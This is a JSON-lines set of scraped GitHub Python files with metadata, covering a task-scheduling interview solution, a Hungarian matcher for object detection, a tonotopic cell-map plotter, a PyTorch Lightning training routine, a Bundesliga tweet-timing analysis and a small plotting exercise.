{"seq_id": "14734339621", "text": "from typing import List\nfrom collections import Counter, deque\nimport heapq\n\nclass Solution:\n    def leastInterval(self, tasks: List[str], n: int) -> int:\n        '''\n        Min heap\n        '''\n        c = Counter(tasks)\n        heap = [-v for v in c.values()]\n        heapq.heapify(heap)\n        queue = deque()\n        currTime = 0\n\n        while heap or queue:\n            if heap:\n                coolDownTask = heapq.heappop(heap) + 1\n                if coolDownTask:\n                    queue.append((coolDownTask, currTime + n))\n\n            if queue and queue[0][1] == currTime:\n                heapq.heappush(heap, queue.popleft()[0])\n\n            currTime += 1\n\n        return currTime\n\n    def leastInterval(self, tasks: List[str], n: int) -> int:\n        '''\n        Calculating Idle slots\n        '''\n        c = Counter(tasks)\n        maxCount = noMax = 0\n        for v in c.values():\n            if v > maxCount:\n                maxCount = v\n                noMax = 1\n            elif v == maxCount:\n                noMax += 1\n\n        return max(len(tasks), (maxCount - 1) * (n + 1) + noMax)\n\n\ndef main():\n    s = Solution()\n    print(s.leastInterval(['A', 'A', 'A', 'B', 'B', 'B'], 2))\n    print(s.leastInterval(['A', 'A', 'B', 'A'], 2))\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "happy96026/interview-prep", "sub_path": "coding_problems/may/may26.py", "file_name": "may26.py", "file_ext": "py", "file_size_in_byte": 1296, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 10, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 12, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 13, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 18, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 23, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "10634510712", "text": "import torch\nfrom scipy.optimize import linear_sum_assignment\nfrom torch import nn\n\nfrom tools.box_ops import box_cxcywh_to_xyxy, generalized_box_iou\n\nclass HungarianMatcher(nn.Module):\n\n    def __init__(self, cost_class:float = 1, cost_bbox:float = 1,\n                 cost_giou: float = 1, focal_alpha = 0.25, model_type=None):\n        super().__init__() # 用于对序列数据进行相应的匹配\n        self.cost_class = cost_class\n        self.cost_bbox = cost_bbox\n        self.cost_giou = cost_giou\n        assert cost_class != 0 or cost_bbox != 0 or cost_giou != 0, \"all costs cant be 0\"\n        \n        self.focal_alpha = focal_alpha\n        self.model_type = model_type\n\n    @torch.no_grad() # 后续的数据不参加梯度的计算\n    def forward(self, outputs, targets):\n        bs, num_queries = outputs[\"pred_logits\"].shape[:2]\n        \n        # We flatten to compute the cost matrices in a batch\n        # [2,100,92] -> [200, 92] -> [200, 92]概率\n        # out_prob = outputs[\"pred_logits\"].flatten(0,1).softmax(-1)\n        out_prob = outputs[\"pred_logits\"].flatten(0,1).sigmoid()\n        # [2,100,4] -> [200, 4]   [batch_size * num_queries, 4]\n        out_bbox = outputs[\"pred_boxes\"].flatten(0,1)\n        \n        # concat all boxes and labels\n        tgt_ids = torch.cat([v[\"labels\"] for v in targets])\n        tgt_bbox = torch.cat([v[\"boxes\"] for v in targets])\n\n        # Compute the classification cost. Contrary to the loss, we don't use the NLL,\n        # but approximate it in 1 - proba[target class].\n        # The 1 is a constant that doesn't change the matching, it can be ommitted.\n        if self.model_type in ['base']:\n            cost_class = -out_prob[:, tgt_ids]\n        else:\n            alpha = self.focal_alpha\n            gamma = 2.0\n            neg_cost_class = (1 - alpha) * (out_prob ** gamma) * (-(1 - out_prob + 1e-8).log())\n            pos_cost_class = alpha * ((1 - out_prob) ** gamma) * (-(out_prob + 1e-8).log())\n            cost_class = pos_cost_class[:, tgt_ids] - neg_cost_class[:, tgt_ids]\n        \n        # Compute the L1 cost between boxes\n        cost_bbox = torch.cdist(out_bbox, tgt_bbox, p=1)\n        # 计算相应的giou损失函数带来的影响，但是我的问题是为什么需要问号\n        cost_giou = -generalized_box_iou(box_cxcywh_to_xyxy(out_bbox),\n                                         box_cxcywh_to_xyxy(tgt_bbox))\n        # Final cost matrix   [100, 3]  bs*100个预测框分别和3个gt框的损失矩阵\n        C = self.cost_bbox * cost_bbox + self.cost_class * cost_class + self.cost_giou* cost_giou\n        C = C.view(bs,num_queries, -1).cpu()\n\n        sizes = [len(v[\"boxes\"]) for v in targets]\n        # 匈牙利算法进行二分图匹配  从100个预测框中挑选出最终的3个预测框 分别和gt计算损失  这个组合的总损失是最小的\n        # 0: [3]  5, 35, 63   匹配到的gt个预测框idx\n        # 1: [3]  1, 0, 2     对应的gt idx\n        indices = [linear_sum_assignment(c[i]) for i,c in enumerate(C.split(sizes, -1))]\n        \n        return [(torch.as_tensor(i,dtype=torch.int64), torch.as_tensor(j, dtype=torch.int64)) for i, j in indices]\n    \ndef build_matcher(args):\n    return HungarianMatcher(cost_class=args.set_cost_class, cost_bbox=args.set_cost_bbox, cost_giou=args.set_cost_giou,\n                            focal_alpha=args.focal_alpha, model_type=args.model_type)\n\n\n\n", "repo_name": "hmxiong/Transformer-Series", "sub_path": "model/matcher.py", "file_name": "matcher.py", "file_ext": "py", "file_size_in_byte": 3412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.cdist", "line_number": 48, "usage_type": "call"}, {"api_name": "tools.box_ops.generalized_box_iou", "line_number": 50, "usage_type": "call"}, {"api_name": "tools.box_ops.box_cxcywh_to_xyxy", "line_number": 50, "usage_type": "call"}, {"api_name": "tools.box_ops.box_cxcywh_to_xyxy", "line_number": 51, "usage_type": "call"}, {"api_name": "scipy.optimize.linear_sum_assignment", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.as_tensor", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 62, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "27717829242", "text": "\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 15 21:14:11 2019\n\n@author: Yoshi\n\"\"\"\n\nimport numpy as np\nfrom PIL import Image,ImageDraw,ImageFont\n\n\n\nfrom cell_drawer import *\nfrom arrow_coordinate_calculator import *\n\ndef cell_response_mapper(path,canvas,width,height,map_type,cell_locations,scale,radius,color_key,frequency_unit,cell_flags,extra_flag,mode=\"combined\"):\n    \n    # Makes a copy of the canvas\n    response_map = canvas.copy()\n    \n    # Goes through each cell and colors them in with the unresponsive color\n    cell_total = len(cell_locations)\n    if mode == \"combined\":\n        for cell_number in range(cell_total):\n            response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,\"#FF0000\",\"#FF0000\")\n    elif mode == \"flag\":\n        for cell_number in range(cell_total):\n            if cell_flags[cell_number][0] != \"N/A\":\n                response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,\"#FF0000\",\"#FF0000\")\n    elif mode == \"no flag\":\n        for cell_number in range(cell_total):\n            if cell_flags[cell_number][0] == \"N/A\":\n                response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,\"#FF0000\",\"#FF0000\")\n    \n    # Goes through each cell and colors them in based on frequency\n    if mode == \"combined\":\n        for cell_number in range(cell_total):\n            if cell_flags[cell_number][map_type] != \"N/A\":\n                color = color_key[cell_flags[cell_number][map_type]]\n                response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,color,color)\n    elif mode == \"flag\":\n        for cell_number in range(cell_total):\n            if cell_flags[cell_number][map_type] != \"N/A\" and cell_flags[cell_number][0] != \"N/A\":\n                color = color_key[cell_flags[cell_number][map_type]]\n                response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,color,color)\n    elif mode == \"no flag\":\n        for cell_number in range(cell_total):\n            if cell_flags[cell_number][map_type] != \"N/A\" and cell_flags[cell_number][0] == \"N/A\":\n                color = color_key[cell_flags[cell_number][map_type]]\n                response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,color,color)\n    \n    # If in combined mode, creates an outline for cells with extra flag\n    if mode == \"combined\":\n        for cell_number in range(cell_total):\n            if cell_flags[cell_number][0] != \"N/A\":\n                response_map = cell_drawer(response_map,cell_locations[cell_number],scale,radius,\"hsv(30,100%,100%)\",None)\n    \n    # Preparation for drawing on image\n    draw = ImageDraw.Draw(response_map)\n    \n    # Finds name of map type\n    if map_type == 1:\n        map_type_name = \"Best Frequency\"\n    elif map_type == 2:\n        map_type_name = \"Characteristic Frequency\"\n    elif map_type == 3:\n        map_type_name = \"Noise Response\"\n    \n    # Creates title based on mode and map type\n    if mode == \"combined\":\n        title = f\"{map_type_name} of Cells\"\n    elif mode == \"flag\":\n        title = f\"{map_type_name} of {extra_flag} Cells\"\n    elif mode == \"no flag\":\n        title = f\"{map_type_name} of non-{extra_flag} Cells\"\n    else:\n        title = \"Error: Unrecognized Mode\"\n    \n    # Creates a title on the canvas\n    draw.rectangle([0,0,width*scale,200],outline=\"#FFFFFF\",fill=\"#FFFFFF\")\n    draw.text((width*scale/2,50),title,fill=\"#000000\",\n              anchor=\"mm\",font=ImageFont.truetype(\"calibri.ttf\",80))\n    \n    # Determines y coordinates for key boxes\n    key_boundaries = []\n    if mode == \"combined\" and extra_flag != \"N/A\":\n        columns = len(color_key)+1\n    else:\n        columns = len(color_key)\n    for i in range(columns+1):\n        x_value = round(width*scale/columns*i)\n        key_boundaries.append(x_value)\n    \n    # Creates a key on the canvas\n    i = 0\n    for key in color_key:\n        color = color_key[key]\n        draw.rectangle([key_boundaries[i],100,key_boundaries[i+1],200],outline=color,fill=color)\n        if map_type == 1 or map_type == 2:\n            draw.text((np.mean([key_boundaries[i],key_boundaries[i+1]]),150),f\"{key} {frequency_unit}\",\n                      fill=\"#000000\",anchor=\"mm\",font=ImageFont.truetype(\"calibri.ttf\",40))\n        elif map_type == 3:\n            draw.text((np.mean([key_boundaries[i],key_boundaries[i+1]]),150),\"Responsive\",\n                      fill=\"#000000\",anchor=\"mm\",font=ImageFont.truetype(\"calibri.ttf\",40))   \n        i += 1\n    if mode == \"combined\" and extra_flag != \"N/A\":\n        color = \"hsv(30,100%,100%)\"\n        draw.rectangle([key_boundaries[-2],100,key_boundaries[-1],200],outline=color,fill=color)\n        draw.text((np.mean([key_boundaries[-2],key_boundaries[-1]]),150),extra_flag,\n                  fill=\"#000000\",anchor=\"mm\",font=ImageFont.truetype(\"calibri.ttf\",40))\n    \n    # Saves image\n    response_map.save(f\"{path}/Output/Tonotopy/Tonotopic Maps/{title}.png\",\"PNG\")\n    \n    # Tonotopic arrow calculations\n    if map_type == 1 or map_type == 2:\n    \n        # Calculates the best angle and max correlation coefficient for tonotopy\n        max_corr,best_angle,arrow_coordinates = arrow_coordinate_calculator(path,cell_flags,cell_locations,map_type,mode,width,height,scale)\n        \n        # Checks if there is tonotopy\n        if best_angle != \"N/A\":\n            \n            # Creates copy with extra space on bottom\n            response_map_arrow = Image.new(\"RGBA\",(width*scale,height*scale+250),(0,0,0,0))\n            response_map_arrow.paste(response_map,(0,0))\n            draw = ImageDraw.Draw(response_map_arrow)\n            \n            # Displays the max correlation coefficient and best angle at the bottom of the canvas\n            draw.rectangle([0,height*scale+200,width*scale,height*scale+250],outline=\"#FFFFFF\",fill=\"#FFFFFF\")\n            draw.text((0,height*scale+210),f\"Tonotopic Angle: {best_angle}\"+u\"\\u00b0\"+\", Correlation coefficient: %.2f\"%max_corr,fill=\"#000000\",font=ImageFont.truetype(\"calibri.ttf\",40))\n            \n            # Draws arrow on the tonotopic map\n            draw.line(arrow_coordinates,fill=\"#FFFFFF\",width=int(round(scale/2)))\n            \n            # Adds circle at each point to make it look nice\n            for point in arrow_coordinates:\n                draw.ellipse((\n                    point[0]-int(round(scale/4)),\n                    point[1]-int(round(scale/4)),\n                    point[0]+int(round(scale/4)),\n                    point[1]+int(round(scale/4))),\n                    fill=\"#FFFFFF\")\n            \n            # Saves image\n            response_map_arrow.save(f\"{path}/Output/Tonotopy/Tonotopic Maps/{title} + Arrow.png\",\"PNG\")\n    \n    return", "repo_name": "Yoshitaka-Shinagawa/Llano-Lab-Analysis-Program", "sub_path": "map_generators/cell_response_mapper.py", "file_name": "cell_response_mapper.py", "file_ext": "py", "file_size_in_byte": 6752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PIL.ImageDraw.Draw", "line_number": 60, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 60, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 83, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 101, "usage_type": "call"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 102, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 104, "usage_type": "call"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 105, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 110, "usage_type": "call"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 111, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 111, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 126, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 126, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 128, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 128, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 132, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 132, "usage_type": "name"}]}
{"seq_id": "70277554791", "text": "import os\nimport json\nimport random\nimport torch\nimport numpy as np\n\nfrom pytorch_lightning import Trainer\nfrom pytorch_lightning.callbacks import EarlyStopping, ModelCheckpoint\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom torch.utils.data.dataloader import DataLoader\n\nfrom ..data.configuration import get_configuration\nfrom .lightning import LitModule\n\ndef train(\n    lit_model: LitModule,\n    train_loader: DataLoader,\n    val_loader: DataLoader\n):\n    \"\"\"Trains the given model on the givend ata\n\n    :param lit_model: The model to train\n    :type lit_model: LitModule\n    :param train_loader: The training data\n    :type train_loader: DataLoader\n    :param val_loader: The validation data\n    :type val_loader: DataLoader\n    \"\"\" \n    \n    os.environ['CUDA_LAUNCH_BLOCKING'] = \"1\"\n    \n    np.random.seed(0)\n    torch.manual_seed(0)\n    random.seed(0)\n\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n\n    CONFIG = get_configuration()\n\n    early_stop_callback = EarlyStopping(\n        min_delta=CONFIG[\"min_delta\"],\n        patience=CONFIG[\"patience\"],\n        verbose=True,\n        mode='max'\n    )\n\n    model_name = f\"{CONFIG['use_model']}-{CONFIG['loss']}-{CONFIG['use_data']}\"\n    logger = TensorBoardLogger('./tb_logs', name=model_name)\n\n    trainer = Trainer(\n        gpus=1, \n        max_epochs=CONFIG[\"num_epochs\"], \n        num_sanity_val_steps=0, \n        logger=logger,\n        early_stop_callback=early_stop_callback if CONFIG[\"early_stopping\"] else None,\n    )\n\n    trainer.fit(lit_model, train_dataloader=train_loader, val_dataloaders=val_loader)\n\n    ", "repo_name": "caciolai/Geometric-Deep-Learning-for-Virality-Prediction-of-Hashtags", "sub_path": "src/virality/model/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "71", "api": [{"api_name": "lightning.LitModule", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.utils.data.dataloader.DataLoader", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.utils.data.dataloader.DataLoader", "line_number": 18, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 33, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 37, "usage_type": "attribute"}, {"api_name": "data.configuration.get_configuration", "line_number": 39, "usage_type": "call"}, {"api_name": "pytorch_lightning.callbacks.EarlyStopping", "line_number": 41, "usage_type": "call"}, {"api_name": "pytorch_lightning.loggers.TensorBoardLogger", "line_number": 49, "usage_type": "call"}, {"api_name": "pytorch_lightning.Trainer", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "13265882247", "text": "import re\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\nDURATION_FIRST_HALF = 45\nDURATION_HALF_TIME = 17\nDURATION_SECOND_HALF = 50  # extended time + buffer\n\n\ndef analyze(twitter_bundesliga_collection, kickoffs: dict, highlights: dict):\n    for hashtag, kickoff in kickoffs.items():\n        tweets_per_minute = get_tweets_per_minute(twitter_bundesliga_collection, hashtag, kickoff)\n        plot_results(tweets_per_minute, hashtag[1:], highlights[hashtag])\n\n\ndef get_tweets_per_minute(twitter_bundesliga_collection, hashtag, kickoff: datetime):\n    timestamp_kickoff = get_timestamp_of_kickoff(kickoff)\n    timestamp_half_time_start = get_timestamp_of_half_time_start(kickoff)\n    timestamp_half_time_end = get_timestamp_of_half_time_end(kickoff)\n    timestamp_final_whistle = get_timestamp_of_final_whistle(kickoff)\n\n    # number_before_match_tweets = get_before_match_tweets_count(twitter_bundesliga_collection, hashtag, timestamp_kickoff)\n    first_half_tweets = get_first_half_tweets(twitter_bundesliga_collection, hashtag,\n                                              timestamp_kickoff, timestamp_half_time_start)\n    # number_half_time_tweets = get_half_time_tweets_count(twitter_bundesliga_collection, hashtag,\n    #                                        timestamp_half_time_start, timestamp_half_time_end)\n    second_half_tweets = get_second_half_tweets(twitter_bundesliga_collection, hashtag,\n                                                timestamp_half_time_end, timestamp_final_whistle)\n    # number_after_match_tweets = get_after_match_tweets_count(twitter_bundesliga_collection, hashtag, timestamp_final_whistle)\n\n    first_half = get_tweet_distribution_for_first_half(list(first_half_tweets), kickoff)\n    second_half = get_tweet_distribution_for_second_half(list(second_half_tweets), kickoff)\n    merged = {**first_half, **second_half}\n    return merged\n\n\ndef get_tweet_distribution_for_first_half(tweets, kickoff):\n    minutes = {minute: 0 for minute in range(95)}\n    for tweet in tweets:\n        tweet_created_date_time = datetime.fromtimestamp(int(tweet[\"timestamp_ms\"]) / 1000)\n        minute = int(((tweet_created_date_time - kickoff).seconds / 60))\n        if minute in minutes:\n            minutes[minute] += 1\n        else:\n            minutes[minute] = 1\n    return minutes\n\n\ndef get_tweet_distribution_for_second_half(tweets, kickoff):\n    minutes = {}\n    for tweet in tweets:\n        tweet_created_date_time = datetime.fromtimestamp(int(tweet[\"timestamp_ms\"]) / 1000)\n        minute = int(((tweet_created_date_time - kickoff).seconds / 60) - DURATION_HALF_TIME)\n        if minute in minutes:\n            minutes[minute] += 1\n        else:\n            minutes[minute] = 1\n    return minutes\n\n\ndef get_before_match_tweets_count(collection, hashtag, timestamp_kickoff):\n    rgx = re.compile('.*' + hashtag + '.*', re.IGNORECASE)\n\n    return collection.count({\n        \"$and\": [\n            {\"timestamp_ms\": {\"$lt\": str(timestamp_kickoff)}},\n            {\n                \"$or\": [\n                    {\"text\": rgx},\n                    {\"retweeted_status.extended_tweet.full_text\": rgx}\n                ]\n            }\n        ]\n    })\n\n\ndef get_first_half_tweets(collection, hashtag, timestamp_kickoff, timestamp_half_time_start):\n    rgx = re.compile('.*' + hashtag + '.*', re.IGNORECASE)\n\n    return collection.find({\n        \"$and\": [\n            {\"timestamp_ms\": {\"$gte\": str(timestamp_kickoff)}},\n            {\"timestamp_ms\": {\"$lte\": str(timestamp_half_time_start)}},\n            {\n                \"$or\": [\n                    {\"text\": rgx},\n                    {\"retweeted_status.extended_tweet.full_text\": rgx}\n                ]\n            }\n        ]\n    })\n\n\ndef get_half_time_tweets_count(collection, hashtag, timestamp_half_time_start, timestamp_half_time_end):\n    rgx = re.compile('.*' + hashtag + '.*', re.IGNORECASE)\n\n    return collection.count({\n        \"$and\": [\n            {\"timestamp_ms\": {\"$gt\": str(timestamp_half_time_start)}},\n            {\"timestamp_ms\": {\"$lt\": str(timestamp_half_time_end)}},\n            {\n                \"$or\": [\n                    {\"text\": rgx},\n                    {\"retweeted_status.extended_tweet.full_text\": rgx}\n                ]\n            }\n        ]\n    })\n\n\ndef get_second_half_tweets(collection, hashtag, timestamp_half_time_end, timestamp_final_whistle):\n    rgx = re.compile('.*' + hashtag + '.*', re.IGNORECASE)\n\n    return collection.find({\n        \"$and\": [\n            {\"timestamp_ms\": {\"$gte\": str(timestamp_half_time_end)}},\n            {\"timestamp_ms\": {\"$lte\": str(timestamp_final_whistle)}},\n            {\n                \"$or\": [\n                    {\"text\": rgx},\n                    {\"retweeted_status.extended_tweet.full_text\": rgx}\n                ]\n            }\n        ]\n    })\n\n\ndef get_after_match_tweets_count(collection, hashtag, timestamp_final_whistle):\n    rgx = re.compile('.*' + hashtag + '.*', re.IGNORECASE)\n\n    return collection.count({\n        \"$and\": [\n            {\"timestamp_ms\": {\"$gt\": str(timestamp_final_whistle)}},\n            {\n                \"$or\": [\n                    {\"text\": rgx},\n                    {\"retweeted_status.extended_tweet.full_text\": rgx}\n                ]\n            }\n        ]\n    })\n\n\ndef get_timestamp_of_kickoff(kickoff: datetime):\n    return int(datetime.timestamp(kickoff)) * 1000\n\n\ndef get_timestamp_of_half_time_start(kickoff: datetime):\n    # we add 46. 45 minutes first half duration, 1 minute extended time\n    minutes = DURATION_FIRST_HALF\n    return int(datetime.timestamp(kickoff + timedelta(minutes=minutes))) * 1000\n\n\ndef get_timestamp_of_half_time_end(kickoff: datetime):\n    # we add 62. 45 minutes first half duration, 1 minute extended time,\n    # 15 minutes half time break, 1 minute buffer\n    minutes = DURATION_FIRST_HALF + DURATION_HALF_TIME\n    return int(datetime.timestamp(kickoff + timedelta(minutes=minutes))) * 1000\n\n\ndef get_timestamp_of_final_whistle(kickoff: datetime):\n    # we add 115. 90 minutes match duration, 15 minutes half time,\n    # 10 min for buffer and extended time\n    minutes = DURATION_FIRST_HALF + DURATION_HALF_TIME + DURATION_SECOND_HALF\n    return int(datetime.timestamp(kickoff + timedelta(minutes=minutes))) * 1000\n\n\ndef plot_results(tweets_per_minute, plot_name, highlights):\n    fig, ax = plt.subplots(2, 1, figsize=(5, 5))\n    fig.suptitle(\"Amount of tweets per minute in match #\" + plot_name)\n    for i in range(2):\n        barlist = ax[i].bar(range(len(tweets_per_minute)), list(tweets_per_minute.values()), align='center')\n\n        x = np.arange(len(list(tweets_per_minute)))\n        x_labels = list(tweets_per_minute.keys())\n\n        ax[i].set_ylabel('Number of tweets')\n        ax[i].set_xticks(x)\n        ax[i].set_xticklabels(x_labels, rotation=90)\n\n        j = 0\n        for label in ax[i].get_xaxis().get_ticklabels():\n            j += 1\n            if j % 5 != 1:\n                label.set_visible(False)\n\n    for goal in highlights[\"goals\"]:\n        barlist[goal].set_color(\"g\")\n    for red_card in highlights[\"red_cards\"]:\n        barlist[red_card].set_color(\"r\")\n    for var in highlights[\"var\"]:\n        barlist[var].set_color(\"y\")\n\n    plt.savefig(\"data_analyzing/plots/tweets_during_match/\" + plot_name + \".pdf\")\n", "repo_name": "FRules/bda-a1", "sub_path": "data_analyzing/modules/tweets_during_match/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 43, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 65, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 65, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 81, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 81, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 98, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 98, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 115, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 115, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 132, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 132, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 147, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 148, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 148, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 154, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 154, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 154, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 157, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 161, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 164, "usage_type": "name"}, {"api_name": "datetime.datetime.timestamp", "line_number": 168, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 168, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}]}
{"seq_id": "38988775731", "text": "# -*- coding: utf-8 -*-\n\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom math import fabs\nimport numpy as np\n\nx = 12.1\n\nC = np.arange(-10, 1.1, 0.5)\n\nprint(C)\n\n# c = -10\n#\n# while c <= 1:\n#     C.append(c)\n#     c += 0.5\n\nl = pow(pow(2 * x - C, 3), 0.2) + 0.567\nprint(l)\n\nmax = l.max()\nmin = l.min()\navg = l.mean()\ncount = l.size\nprint(max)\nprint(min)\nprint(avg)\nprint(count)\nl.argsort()\nprint(l)\nplt.plot(C, l, color='green', marker='o', markersize=7)\ny = C + avg - C\nplt.plot(C, y)\nplt.xlabel('Ось Х')\nplt.ylabel('Ось Y')\nplt.title('График функции l')\nplt.yscale(value='log')\nplt.show()", "repo_name": "Lun777/SLP_Labs", "sub_path": "Lab №5/№3.1.py", "file_name": "№3.1.py", "file_ext": "py", "file_size_in_byte": 622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.arange", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}]}
